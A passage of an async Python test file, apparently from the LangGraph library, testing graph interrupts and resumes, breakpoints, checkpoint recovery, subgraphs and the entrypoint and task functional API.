value="How old are you?", + id=AnyStr(), + ), + ) + } + ] + + assert [ + event + async for event in graph.astream( + Command(resume="13"), + thread1, + ) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="invalid response", + id=AnyStr(), + ), + ) + } + ] + + assert [ + event + async for event in graph.astream( + Command(resume="15"), + thread1, + ) + ] == [ + { + "__interrupt__": ( + Interrupt( + value="invalid response", + id=AnyStr(), + ), + ) + } + ] + + assert [event async for event in graph.astream(Command(resume="19"), thread1)] == [ + {"node": {"age": 19}}, + ] + + +@NEEDS_CONTEXTVARS +async def test_interrupt_functional(async_checkpointer: BaseCheckpointSaver) -> None: + @task + async def foo(state: dict) -> dict: + return {"a": state["a"] + "foo"} + + @task + async def bar(state: dict) -> dict: + return {"a": state["a"] + "bar", "b": state["b"]} + + @entrypoint(checkpointer=async_checkpointer) + async def graph(inputs: dict) -> dict: + foo_result = await foo(inputs) + value = interrupt("Provide value for bar:") + bar_input = {**foo_result, "b": value} + bar_result = await bar(bar_input) + return bar_result + + config = {"configurable": {"thread_id": "1"}} + # First run, interrupted at bar + await graph.ainvoke({"a": ""}, config) + # Resume with an answer + res = await graph.ainvoke(Command(resume="bar"), config) + assert res == {"a": "foobar", "b": "bar"} + + +@NEEDS_CONTEXTVARS +async def test_interrupt_task_functional( + async_checkpointer: BaseCheckpointSaver, +) -> None: + @task + async def foo(state: dict) -> dict: + return {"a": state["a"] + "foo"} + + @task + async def bar(state: dict) -> dict: + value = interrupt("Provide value for bar:") + return {"a": state["a"] + value} + + @entrypoint(checkpointer=async_checkpointer) + async def graph(inputs: dict) -> dict: + foo_result = await foo(inputs) + bar_result = await bar(foo_result) + return bar_result + + config = {"configurable": {"thread_id": "1"}} + # First run, interrupted at bar + assert await graph.ainvoke({"a": ""}, config) == { + "__interrupt__": [ + Interrupt( + value="Provide value for bar:", + id=AnyStr(), + ), + ] + } + # Resume with an answer + res = await graph.ainvoke(Command(resume="bar"), config) + assert res == {"a": "foobar"} + + +async def test_command_with_static_breakpoints( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that we can use Command to resume and update with static breakpoints.""" + + class State(TypedDict): + """The graph state.""" + + foo: str + + def node1(state: State): + return { + "foo": state["foo"] + "|node-1", + } + + def node2(state: State): + return { + "foo": state["foo"] + "|node-2", + } + + builder = StateGraph(State) + builder.add_node("node1", node1) + builder.add_node("node2", node2) + builder.add_edge(START, "node1") + builder.add_edge("node1", "node2") + + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["node1"]) + config = {"configurable": {"thread_id": str(uuid.uuid4())}} + + # Start the graph and interrupt at the first node + await graph.ainvoke({"foo": "abc"}, config) + result = await graph.ainvoke(Command(update={"foo": "def"}), config) + assert result == {"foo": "def|node-1|node-2"} + + +async def test_multistep_plan(async_checkpointer: BaseCheckpointSaver) -> None: + from langchain_core.messages import AnyMessage + + class State(TypedDict, total=False): + plan: list[str | list[str]] + messages: Annotated[list[AnyMessage], add_messages] + + def planner(state: State): + if state.get("plan") is None: + # create plan somehow + plan = ["step1", ["step2", "step3"], "step4"] + # pick the first step to execute next + first_step, *plan = plan + # put the rest of plan in state + return Command(goto=first_step, update={"plan": plan}) + elif state["plan"]: + # go to the next step of the plan + next_step, *next_plan = state["plan"] + return Command(goto=next_step, update={"plan": next_plan}) + else: + # the end of the plan + pass + + def step1(state: State): + return Command(goto="planner", update={"messages": [("human", "step1")]}) + + def step2(state: State): + return Command(goto="planner", update={"messages": [("human", "step2")]}) + + def step3(state: State): + return Command(goto="planner", update={"messages": [("human", "step3")]}) + + def step4(state: State): + return Command(goto="planner", update={"messages": [("human", "step4")]}) + + builder = StateGraph(State) + builder.add_node(planner) + builder.add_node(step1) + builder.add_node(step2) + builder.add_node(step3) + builder.add_node(step4) + builder.add_edge(START, "planner") + + graph = builder.compile(checkpointer=async_checkpointer) + + config = {"configurable": {"thread_id": "1"}} + + assert await graph.ainvoke({"messages": [("human", "start")]}, config) == { + "messages": [ + _AnyIdHumanMessage(content="start"), + _AnyIdHumanMessage(content="step1"), + _AnyIdHumanMessage(content="step2"), + _AnyIdHumanMessage(content="step3"), + _AnyIdHumanMessage(content="step4"), + ], + "plan": [], + } + + +async def test_command_goto_with_static_breakpoints( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Use Command goto with static breakpoints.""" + + class State(TypedDict): + """The graph state.""" + + foo: Annotated[str, operator.add] + + def node1(state: State): + return { + "foo": "|node-1", + } + + def node2(state: State): + return { + "foo": "|node-2", + } + + builder = StateGraph(State) + builder.add_node("node1", node1) + builder.add_node("node2", node2) + builder.add_edge(START, "node1") + builder.add_edge("node1", "node2") + + graph = builder.compile(checkpointer=async_checkpointer, interrupt_before=["node1"]) + + config = {"configurable": {"thread_id": str(uuid.uuid4())}} + + # Start the graph and interrupt at the first node + await graph.ainvoke({"foo": "abc"}, config) + result = await graph.ainvoke(Command(goto=["node2"]), config) + assert result == {"foo": "abc|node-1|node-2|node-2"} + + +async def test_parallel_node_execution(): + """Test that parallel nodes execute concurrently.""" + + class State(TypedDict): + results: Annotated[list[str], operator.add] + + async def slow_node(state: State): + await asyncio.sleep(1) + return {"results": ["slow"]} + + async def fast_node(state: State): + await asyncio.sleep(2) + return {"results": ["fast"]} + + builder = StateGraph(State) + builder.add_node("slow", slow_node) + builder.add_node("fast", fast_node) + builder.add_edge(START, "slow") + builder.add_edge(START, "fast") + + graph = builder.compile() + + start = perf_counter() + result = await graph.ainvoke({"results": []}) + duration = perf_counter() - start + + # Fast node result should be available first + assert "fast" in result["results"][0] + + # Total duration should be less than sum of both nodes + assert duration < 3.0 + + +@NEEDS_CONTEXTVARS +async def test_multiple_interrupt_state_persistence( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test that state is preserved correctly across multiple interrupts.""" + + class State(TypedDict): + steps: Annotated[list[str], operator.add] + + def interruptible_node(state: State): + first = interrupt("First interrupt") + second = interrupt("Second interrupt") + return {"steps": [first, second]} + + builder = StateGraph(State) + builder.add_node("node", interruptible_node) + builder.add_edge(START, "node") + + app = builder.compile(checkpointer=async_checkpointer) + config = {"configurable": {"thread_id": "1"}} + + # First execution - should hit first interrupt + await app.ainvoke({"steps": []}, config) + + # State should still be empty since node hasn't returned + state = await app.aget_state(config) + assert state.values == {"steps": []} + + # Resume after first interrupt - should hit second interrupt + await app.ainvoke(Command(resume="step1"), config) + + # State should still be empty since node hasn't returned + state = await app.aget_state(config) + assert state.values == {"steps": []} + + # Resume after second interrupt - node should complete + result = await app.ainvoke(Command(resume="step2"), config) + + # Now state should contain both steps since node returned + assert result["steps"] == ["step1", "step2"] + state = await app.aget_state(config) + assert state.values["steps"] == ["step1", "step2"] + + +async def test_concurrent_execution(): + """Test concurrent execution with async nodes.""" + + class State(TypedDict): + counter: Annotated[int, operator.add] + + results = deque() + + async def slow_node(state: State): + await asyncio.sleep(0.1) + return {"counter": 1} + + builder = StateGraph(State) + builder.add_node("node", slow_node) + builder.add_edge(START, "node") + graph = builder.compile() + + async def run_graph(): + result = await graph.ainvoke({"counter": 0}) + results.append(result) + + # Create and gather tasks + tasks = [run_graph() for _ in range(10)] + await asyncio.gather(*tasks) + + # Verify results are independent + assert len(results) == 10 + for result in results: + assert result["counter"] == 1 + + +async def test_checkpoint_recovery_async( + async_checkpointer: BaseCheckpointSaver, durability: Durability +) -> None: + """Test recovery from checkpoints after failures with async nodes.""" + + class State(TypedDict): + steps: Annotated[list[str], operator.add] + attempt: int # Track number of attempts + + async def failing_node(state: State): + # Fail on first attempt, succeed on retry + if state["attempt"] == 1: + raise RuntimeError("Simulated failure") + await asyncio.sleep(0.1) # Simulate async work + return {"steps": ["node1"]} + + async def second_node(state: State): + await asyncio.sleep(0.1) # Simulate async work + return {"steps": ["node2"]} + + builder = StateGraph(State) + builder.add_node("node1", failing_node) + builder.add_node("node2", second_node) + builder.add_edge(START, "node1") + builder.add_edge("node1", "node2") + + graph = builder.compile(checkpointer=async_checkpointer) + config = {"configurable": {"thread_id": "1"}} + + # First attempt should fail + with pytest.raises(RuntimeError): + await graph.ainvoke( + {"steps": ["start"], "attempt": 1}, + config, + durability=durability, + ) + + # Verify checkpoint state + state = await graph.aget_state(config) + assert state is not None + assert state.values == {"steps": ["start"], "attempt": 1} # input state saved + assert state.next == ("node1",) # Should retry failed node + + # Retry with updated attempt count + result = await graph.ainvoke( + {"steps": [], "attempt": 2}, config, durability=durability + ) + assert result == {"steps": ["start", "node1", "node2"], "attempt": 2} + + # Verify checkpoint history shows both attempts + history = [c async for c in graph.aget_state_history(config)] + if durability != "exit": + assert len(history) == 6 # Initial + failed attempt + successful attempt + else: + assert len(history) == 2 # error + success + + # Verify the error was recorded in checkpoint + failed_checkpoint = next(c for c in history if c.tasks and c.tasks[0].error) + assert "RuntimeError('Simulated failure')" in failed_checkpoint.tasks[0].error + + +async def test_multiple_updates_root() -> None: + def node_a(state): + return [Command(update="a1"), Command(update="a2")] + + def node_b(state): + return "b" + + graph = ( + StateGraph(Annotated[str, operator.add]) + .add_sequence([node_a, node_b]) + .add_edge(START, "node_a") + .compile() + ) + + assert await graph.ainvoke("") == "a1a2b" + + # only streams the last update from node_a + assert [c async for c in graph.astream("", stream_mode="updates")] == [ + {"node_a": ["a1", "a2"]}, + {"node_b": "b"}, + ] + + +async def test_multiple_updates() -> None: + class State(TypedDict): + foo: Annotated[str, operator.add] + + def node_a(state): + return [Command(update={"foo": "a1"}), Command(update={"foo": "a2"})] + + def node_b(state): + return {"foo": "b"} + + graph = ( + StateGraph(State) + .add_sequence([node_a, node_b]) + .add_edge(START, "node_a") + .compile() + ) + + assert await graph.ainvoke({"foo": ""}) == { + "foo": "a1a2b", + } + + # only streams the last update from node_a + assert [c async for c in graph.astream({"foo": ""}, stream_mode="updates")] == [ + {"node_a": [{"foo": "a1"}, {"foo": "a2"}]}, + {"node_b": {"foo": "b"}}, + ] + + +@NEEDS_CONTEXTVARS +async def test_falsy_return_from_task(async_checkpointer: BaseCheckpointSaver) -> None: + """Test with a falsy return from a task.""" + + @task + async def falsy_task() -> bool: + return False + + @entrypoint(checkpointer=async_checkpointer) + async def graph(state: dict) -> dict: + """React tool.""" + await falsy_task() + interrupt("test") + + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + await graph.ainvoke({"a": 5}, configurable) + await graph.ainvoke(Command(resume="123"), configurable) + + +@NEEDS_CONTEXTVARS +async def test_multiple_interrupts_functional( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test multiple interrupts with functional API.""" + from langgraph.func import entrypoint, task + + counter = 0 + + @task + async def double(x: int) -> int: + """Increment the counter.""" + nonlocal counter + counter += 1 + return 2 * x + + @entrypoint(checkpointer=async_checkpointer) + async def graph(state: dict) -> dict: + """React tool.""" + + values = [] + + for idx in [1, 2, 3]: + values.extend([await double(idx), interrupt({"a": "boo"})]) + + return {"values": values} + + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + await graph.ainvoke({}, configurable) + await graph.ainvoke(Command(resume="a"), configurable) + await graph.ainvoke(Command(resume="b"), configurable) + result = await graph.ainvoke(Command(resume="c"), configurable) + # `double` value should be cached appropriately when used w/ `interrupt` + assert result == { + "values": [2, "a", 4, "b", 6, "c"], + } + assert counter == 3 + + +@NEEDS_CONTEXTVARS +async def test_multiple_interrupts_functional_cache( + async_checkpointer: BaseCheckpointSaver, cache: BaseCache +): + """Test multiple interrupts with functional API.""" + counter = 0 + + @task(cache_policy=CachePolicy()) + def double(x: int) -> int: + """Increment the counter.""" + nonlocal counter + counter += 1 + return 2 * x + + @entrypoint(checkpointer=async_checkpointer, cache=cache) + def graph(state: dict) -> dict: + """React tool.""" + + values = [] + + for idx in [1, 1, 2, 2, 3, 3]: + values.extend([double(idx).result(), interrupt({"a": "boo"})]) + + return {"values": values} + + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + await graph.ainvoke({}, configurable) + await graph.ainvoke(Command(resume="a"), configurable) + await graph.ainvoke(Command(resume="b"), configurable) + await graph.ainvoke(Command(resume="c"), configurable) + await graph.ainvoke(Command(resume="d"), configurable) + await graph.ainvoke(Command(resume="e"), configurable) + result = await graph.ainvoke(Command(resume="f"), configurable) + # `double` value should be cached appropriately when used w/ `interrupt` + assert result == { + "values": [2, "a", 2, "b", 4, "c", 4, "d", 6, "e", 6, "f"], + } + assert counter == 3 + + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + await graph.ainvoke({}, configurable) + await graph.ainvoke(Command(resume="a"), configurable) + await graph.ainvoke(Command(resume="b"), configurable) + await graph.ainvoke(Command(resume="c"), configurable) + await graph.ainvoke(Command(resume="d"), configurable) + await graph.ainvoke(Command(resume="e"), configurable) + result = await graph.ainvoke(Command(resume="f"), configurable) + # `double` value should be cached appropriately when used w/ `interrupt` + assert result == { + "values": [2, "a", 2, "b", 4, "c", 4, "d", 6, "e", 6, "f"], + } + assert counter == 3 + + # clear the cache + await double.aclear_cache(cache) + + # now should recompute + configurable = {"configurable": {"thread_id": str(uuid.uuid4())}} + await graph.ainvoke({}, configurable) + await graph.ainvoke(Command(resume="a"), configurable) + await graph.ainvoke(Command(resume="b"), configurable) + await graph.ainvoke(Command(resume="c"), configurable) + await graph.ainvoke(Command(resume="d"), configurable) + await graph.ainvoke(Command(resume="e"), configurable) + result = await graph.ainvoke(Command(resume="f"), configurable) + # `double` value should be cached appropriately when used w/ `interrupt` + assert result == { + "values": [2, "a", 2, "b", 4, "c", 4, "d", 6, "e", 6, "f"], + } + assert counter == 6 + + +@NEEDS_CONTEXTVARS +async def test_double_interrupt_subgraph( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class AgentState(TypedDict): + input: str + + def node_1(state: AgentState): + result = interrupt("interrupt node 1") + return {"input": result} + + def node_2(state: AgentState): + result = interrupt("interrupt node 2") + return {"input": result} + + subgraph_builder = ( + StateGraph(AgentState) + .add_node("node_1", node_1) + .add_node("node_2", node_2) + .add_edge(START, "node_1") + .add_edge("node_1", "node_2") + .add_edge("node_2", END) + ) + + # invoke the sub graph + subgraph = subgraph_builder.compile(checkpointer=async_checkpointer) + thread = {"configurable": {"thread_id": str(uuid.uuid4())}} + assert [c async for c in subgraph.astream({"input": "test"}, thread)] == [ + { + "__interrupt__": ( + Interrupt( + value="interrupt node 1", + id=AnyStr(), + ), + ) + }, + ] + # resume from the first interrupt + assert [c async for c in subgraph.astream(Command(resume="123"), thread)] == [ + { + "node_1": {"input": "123"}, + }, + { + "__interrupt__": ( + Interrupt( + value="interrupt node 2", + id=AnyStr(), + ), + ) + }, + ] + # resume from the second interrupt + assert [c async for c in subgraph.astream(Command(resume="123"), thread)] == [ + { + "node_2": {"input": "123"}, + }, + ] + + subgraph = subgraph_builder.compile() + + def invoke_sub_agent(state: AgentState): + return subgraph.invoke(state) + + thread = {"configurable": {"thread_id": str(uuid.uuid4())}} + + parent_agent = ( + StateGraph(AgentState) + .add_node("invoke_sub_agent", invoke_sub_agent) + .add_edge(START, "invoke_sub_agent") + .add_edge("invoke_sub_agent", END) + .compile(checkpointer=async_checkpointer) + ) + + assert [c async for c in parent_agent.astream({"input": "test"}, thread)] == [ + { + "__interrupt__": ( + Interrupt( + value="interrupt node 1", + id=AnyStr(), + ), + ) + }, + ] + + # resume from the first interrupt + assert [c async for c in parent_agent.astream(Command(resume=True), thread)] == [ + { + "__interrupt__": ( + Interrupt( + value="interrupt node 2", + id=AnyStr(), + ), + ) + } + ] + + # resume from 2nd interrupt + assert [c async for c in parent_agent.astream(Command(resume=True), thread)] == [ + { + "invoke_sub_agent": {"input": True}, + }, + ] + + +@NEEDS_CONTEXTVARS +async def test_async_streaming_with_functional_api() -> None: + """Test streaming with functional API. + + This test verifies that we're able to stream results as they're being generated + rather than have all the results arrive at once after the graph has completed. + + The time of arrival between the two updates corresponding to the two `slow` tasks + should be greater than the time delay between the two tasks. + """ + + time_delay = 0.01 + + @task() + async def slow() -> dict: + await asyncio.sleep(time_delay) # Simulate a delay of 10 ms + return {"tic": asyncio.get_running_loop().time()} + + @entrypoint() + async def graph(inputs: dict) -> list: + first = await slow() + second = await slow() + return [first, second] + + arrival_times = [] + + async for chunk in graph.astream({}): + if "slow" not in chunk: # We'll just look at the updates from `slow` + continue + arrival_times.append(asyncio.get_running_loop().time()) + + assert len(arrival_times) == 2 + delta = arrival_times[1] - arrival_times[0] + # Delta cannot be less than 10 ms if it is streaming as results are generated. + assert delta > time_delay + + +@NEEDS_CONTEXTVARS +async def test_multiple_subgraphs(async_checkpointer: BaseCheckpointSaver) -> None: + class State(TypedDict): + a: int + b: int + + class Output(TypedDict): + result: int + + # Define the subgraphs + async def add(state): + return {"result": state["a"] + state["b"]} + + add_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(add) + .add_edge(START, "add") + .compile() + ) + + async def multiply(state): + return {"result": state["a"] * state["b"]} + + multiply_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(multiply) + .add_edge(START, "multiply") + .compile() + ) + + # Test calling the same subgraph multiple times + async def call_same_subgraph(state): + result = await add_subgraph.ainvoke(state) + another_result = await add_subgraph.ainvoke({"a": result["result"], "b": 10}) + return another_result + + parent_call_same_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(call_same_subgraph) + .add_edge(START, "call_same_subgraph") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": "1"}} + assert await parent_call_same_subgraph.ainvoke({"a": 2, "b": 3}, config) == { + "result": 15 + } + + # Test calling multiple subgraphs + class Output(TypedDict): + add_result: int + multiply_result: int + + async def call_multiple_subgraphs(state): + add_result = await add_subgraph.ainvoke(state) + multiply_result = await multiply_subgraph.ainvoke(state) + return { + "add_result": add_result["result"], + "multiply_result": multiply_result["result"], + } + + parent_call_multiple_subgraphs = ( + StateGraph(State, output_schema=Output) + .add_node(call_multiple_subgraphs) + .add_edge(START, "call_multiple_subgraphs") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": "2"}} + assert await parent_call_multiple_subgraphs.ainvoke({"a": 2, "b": 3}, config) == { + "add_result": 5, + "multiply_result": 6, + } + + +@NEEDS_CONTEXTVARS +async def test_multiple_subgraphs_functional( + async_checkpointer: BaseCheckpointSaver, +) -> None: + # Define addition subgraph + @entrypoint() + async def add(inputs): + a, b = inputs + return a + b + + # Define multiplication subgraph using tasks + @task + async def multiply_task(a, b): + return a * b + + @entrypoint() + async def multiply(inputs): + return await multiply_task(*inputs) + + # Test calling the same subgraph multiple times + @task + async def call_same_subgraph(a, b): + result = await add.ainvoke([a, b]) + another_result = await add.ainvoke([result, 10]) + return another_result + + @entrypoint(checkpointer=async_checkpointer) + async def parent_call_same_subgraph(inputs): + return await call_same_subgraph(*inputs) + + config = {"configurable": {"thread_id": "1"}} + assert await parent_call_same_subgraph.ainvoke([2, 3], config) == 15 + + # Test calling multiple subgraphs + @task + async def call_multiple_subgraphs(a, b): + add_result = await add.ainvoke([a, b]) + multiply_result = await multiply.ainvoke([a, b]) + return [add_result, multiply_result] + + @entrypoint(checkpointer=async_checkpointer) + async def parent_call_multiple_subgraphs(inputs): + return await call_multiple_subgraphs(*inputs) + + config = {"configurable": {"thread_id": "2"}} + assert await parent_call_multiple_subgraphs.ainvoke([2, 3], config) == [5, 6] + + +@NEEDS_CONTEXTVARS +async def test_multiple_subgraphs_mixed_entrypoint( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test calling multiple StateGraph subgraphs from an entrypoint.""" + + class State(TypedDict): + a: int + b: int + + class Output(TypedDict): + result: int + + # Define the subgraphs + async def add(state): + return {"result": state["a"] + state["b"]} + + add_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(add) + .add_edge(START, "add") + .compile() + ) + + async def multiply(state): + return {"result": state["a"] * state["b"]} + + multiply_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(multiply) + .add_edge(START, "multiply") + .compile() + ) + + # Test calling the same subgraph multiple times + @task + async def call_same_subgraph(a, b): + result = (await add_subgraph.ainvoke({"a": a, "b": b}))["result"] + another_result = (await add_subgraph.ainvoke({"a": result, "b": 10}))["result"] + return another_result + + @entrypoint(checkpointer=async_checkpointer) + async def parent_call_same_subgraph(inputs): + return await call_same_subgraph(*inputs) + + config = {"configurable": {"thread_id": "1"}} + assert await parent_call_same_subgraph.ainvoke([2, 3], config) == 15 + + # Test calling multiple subgraphs + @task + async def call_multiple_subgraphs(a, b): + add_result = (await add_subgraph.ainvoke({"a": a, "b": b}))["result"] + multiply_result = (await multiply_subgraph.ainvoke({"a": a, "b": b}))["result"] + return [add_result, multiply_result] + + @entrypoint(checkpointer=async_checkpointer) + async def parent_call_multiple_subgraphs(inputs): + return await call_multiple_subgraphs(*inputs) + + config = {"configurable": {"thread_id": "2"}} + assert await parent_call_multiple_subgraphs.ainvoke([2, 3], config) == [5, 6] + + +@NEEDS_CONTEXTVARS +async def test_multiple_subgraphs_mixed_state_graph( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test calling multiple entrypoint "subgraphs" from a StateGraph.""" + + class State(TypedDict): + a: int + b: int + + class Output(TypedDict): + result: int + + # Define addition subgraph + @entrypoint() + async def add(inputs): + a, b = inputs + return a + b + + # Define multiplication subgraph using tasks + @task + async def multiply_task(a, b): + return a * b + + @entrypoint() + async def multiply(inputs): + return await multiply_task(*inputs) + + # Test calling the same subgraph multiple times + async def call_same_subgraph(state): + result = await add.ainvoke([state["a"], state["b"]]) + another_result = await add.ainvoke([result, 10]) + return {"result": another_result} + + parent_call_same_subgraph = ( + StateGraph(State, output_schema=Output) + .add_node(call_same_subgraph) + .add_edge(START, "call_same_subgraph") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": "1"}} + assert await parent_call_same_subgraph.ainvoke({"a": 2, "b": 3}, config) == { + "result": 15 + } + + # Test calling multiple subgraphs + class Output(TypedDict): + add_result: int + multiply_result: int + + async def call_multiple_subgraphs(state): + add_result = await add.ainvoke([state["a"], state["b"]]) + multiply_result = await multiply.ainvoke([state["a"], state["b"]]) + return { + "add_result": add_result, + "multiply_result": multiply_result, + } + + parent_call_multiple_subgraphs = ( + StateGraph(State, output_schema=Output) + .add_node(call_multiple_subgraphs) + .add_edge(START, "call_multiple_subgraphs") + .compile(checkpointer=async_checkpointer) + ) + config = {"configurable": {"thread_id": "2"}} + assert await parent_call_multiple_subgraphs.ainvoke({"a": 2, "b": 3}, config) == { + "add_result": 5, + "multiply_result": 6, + } + + +@NEEDS_CONTEXTVARS +async def test_multiple_subgraphs_checkpointer( + async_checkpointer: BaseCheckpointSaver, +) -> None: + class SubgraphState(TypedDict): + sub_counter: Annotated[int, operator.add] + + async def subgraph_node(state): + return {"sub_counter": 2} + + sub_graph_1 = ( + StateGraph(SubgraphState) + .add_node(subgraph_node) + .add_edge(START, "subgraph_node") + .compile(checkpointer=True) + ) + + class OtherSubgraphState(TypedDict): + other_sub_counter: Annotated[int, operator.add] + + async def other_subgraph_node(state): + return {"other_sub_counter": 3} + + sub_graph_2 = ( + StateGraph(OtherSubgraphState) + .add_node(other_subgraph_node) + .add_edge(START, "other_subgraph_node") + .compile() + ) + + class ParentState(TypedDict): + parent_counter: int + + async def parent_node(state): + result = await sub_graph_1.ainvoke({"sub_counter": state["parent_counter"]}) + other_result = await sub_graph_2.ainvoke( + {"other_sub_counter": result["sub_counter"]} + ) + return {"parent_counter": other_result["other_sub_counter"]} + + parent_graph = ( + StateGraph(ParentState) + .add_node(parent_node) + .add_edge(START, "parent_node") + .compile(checkpointer=async_checkpointer) + ) + + config = {"configurable": {"thread_id": "1"}} + assert await parent_graph.ainvoke({"parent_counter": 0}, config) == { + "parent_counter": 5 + } + assert await parent_graph.ainvoke({"parent_counter": 0}, config) == { + "parent_counter": 7 + } + config = {"configurable": {"thread_id": "2"}} + assert [ + c + async for c in parent_graph.astream( + {"parent_counter": 0}, config, subgraphs=True, stream_mode="updates" + ) + ] == [ + (("parent_node",), {"subgraph_node": {"sub_counter": 2}}), + ( + (AnyStr("parent_node:"), "1"), + {"other_subgraph_node": {"other_sub_counter": 3}}, + ), + ((), {"parent_node": {"parent_counter": 5}}), + ] + assert [ + c + async for c in parent_graph.astream( + {"parent_counter": 0}, config, subgraphs=True, stream_mode="updates" + ) + ] == [ + (("parent_node",), {"subgraph_node": {"sub_counter": 2}}), + ( + (AnyStr("parent_node:"), "1"), + {"other_subgraph_node": {"other_sub_counter": 3}}, + ), + ((), {"parent_node": {"parent_counter": 7}}), + ] + + +@NEEDS_CONTEXTVARS +async def test_async_entrypoint_without_checkpointer() -> None: + """Test no checkpointer.""" + states = [] + config = {"configurable": {"thread_id": "1"}} + + # Test without previous + @entrypoint() + async def foo(inputs: Any) -> Any: + states.append(inputs) + return inputs + + assert (await foo.ainvoke({"a": "1"}, config)) == {"a": "1"} + + @entrypoint() + async def foo(inputs: Any, *, previous: Any) -> Any: + states.append(previous) + return {"previous": previous, "current": inputs} + + assert (await foo.ainvoke({"a": "1"}, config)) == { + "current": {"a": "1"}, + "previous": None, + } + assert (await foo.ainvoke({"a": "1"}, config)) == { + "current": {"a": "1"}, + "previous": None, + } + + +def test_entrypoint_without_checkpointer() -> None: + """Test no checkpointer.""" + states = [] + config = {"configurable": {"thread_id": "1"}} + + # Test without previous + @entrypoint() + def foo(inputs: Any) -> Any: + states.append(inputs) + return inputs + + assert foo.invoke({"a": "1"}, config) == {"a": "1"} + + @entrypoint() + def foo(inputs: Any, *, previous: Any) -> Any: + states.append(previous) + return {"previous": previous, "current": inputs} + + assert foo.invoke({"a": "1"}, config) == {"current": {"a": "1"}, "previous": None} + assert foo.invoke({"a": "1"}, config) == {"current": {"a": "1"}, "previous": None} + + +async def test_entrypoint_stateful(async_checkpointer: BaseCheckpointSaver) -> None: + """Test stateful entrypoint invoke.""" + + # Test invoke + states = [] + + @entrypoint(checkpointer=async_checkpointer) + async def foo(inputs: Any, *, previous: Any) -> Any: + states.append(previous) + return {"previous": previous, "current": inputs} + + config = {"configurable": {"thread_id": "1"}} + + assert await foo.ainvoke({"a": "1"}, config) == { + "current": {"a": "1"}, + "previous": None, + } + assert await foo.ainvoke({"a": "2"}, config) == { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": None}, + } + assert await foo.ainvoke({"a": "3"}, config) == { + "current": {"a": "3"}, + "previous": { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": None}, + }, + } + assert states == [ + None, + {"current": {"a": "1"}, "previous": None}, + {"current": {"a": "2"}, "previous": {"current": {"a": "1"}, "previous": None}}, + ] + + # Test stream + @entrypoint(checkpointer=async_checkpointer) + async def foo(inputs, *, previous: Any) -> Any: + return {"previous": previous, "current": inputs} + + config = {"configurable": {"thread_id": "2"}} + items = [item async for item in foo.astream({"a": "1"}, config)] + assert items == [{"foo": {"current": {"a": "1"}, "previous": None}}] + + +async def test_entrypoint_stateful_update_state( + async_checkpointer: BaseCheckpointSaver, +) -> None: + """Test stateful entrypoint invoke.""" + + # Test invoke + states = [] + + @entrypoint(checkpointer=async_checkpointer) + async def foo(inputs: Any, *, previous: Any) -> Any: + states.append(previous) + return {"previous": previous, "current": inputs} + + config = {"configurable": {"thread_id": "1"}} + + # assert print(foo.input_channels) + await foo.aupdate_state(config, {"a": "-1"}) + assert await foo.ainvoke({"a": "1"}, config) == { + "current": {"a": "1"}, + "previous": {"a": "-1"}, + } + assert await foo.ainvoke({"a": "2"}, config) == { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": {"a": "-1"}}, + } + assert await foo.ainvoke({"a": "3"}, config) == { + "current": {"a": "3"}, + "previous": { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": {"a": "-1"}}, + }, + } + + # update state + await foo.aupdate_state(config, {"a": "3"}) + + # Test stream + assert [item async for item in foo.astream({"a": "1"}, config)] == [ + {"foo": {"current": {"a": "1"}, "previous": {"a": "3"}}} + ] + assert states == [ + {"a": "-1"}, + {"current": {"a": "1"}, "previous": {"a": "-1"}}, + { + "current": {"a": "2"}, + "previous": {"current": {"a": "1"}, "previous": {"a": "-1"}}, + }, + {"a": "3"}, + ] + + +async def test_entrypoint_from_async_generator() -> None: + """@entrypoint does not support async generators.""" + with pytest.raises(NotImplementedError): + + @entrypoint() + async def foo(inputs) -> Any: + yield "a" + yield "b" + + +@NEEDS_CONTEXTVARS +async def test_named_tasks_functional() -> None: + class Foo: + async def foo(self, value: str) -> dict: + return value + "foo" + + f = Foo() + + # class method task + foo = task(f.foo, name="custom_foo") + other_foo = task(f.foo, name="other_foo") + + # regular function task + @task(name="custom_bar") + async def bar(value: str) -> dict: + return value + "|bar" + + async def baz(update: str, value: str) -> dict: + return value + f"|{update}" + + # partial function task (unnamed) + baz_task = task(functools.partial(baz, "baz")) + # partial function task (named_) + custom_baz_task = task(functools.partial(baz, "custom_baz"), name="custom_baz") + + class Qux: + def __call__(self, value: str) -> dict: + return value + "|qux" + + qux_task = task(Qux(), name="qux") + + @entrypoint() + async def workflow(inputs: dict) -> dict: + foo_result = await foo(inputs) + await other_foo(inputs) + bar_result = await bar(foo_result) + baz_result = await baz_task(bar_result) + custom_baz_result = await custom_baz_task(baz_result) + qux_result = await qux_task(custom_baz_result) + return qux_result + + assert [c async for c in workflow.astream("", stream_mode="updates")] == [ + {"custom_foo": "foo"}, + {"other_foo": "foo"}, + {"custom_bar": "foo|bar"}, + {"baz": "foo|bar|baz"}, + {"custom_baz": "foo|bar|baz|custom_baz"}, + {"qux": "foo|bar|baz|custom_baz|qux"}, + {"workflow": "foo|bar|baz|custom_baz|qux"}, + ] + + +@NEEDS_CONTEXTVARS +async def test_overriding_injectable_args_with_async_task( + async_store: BaseStore, +) -> None: + """Test overriding injectable args in 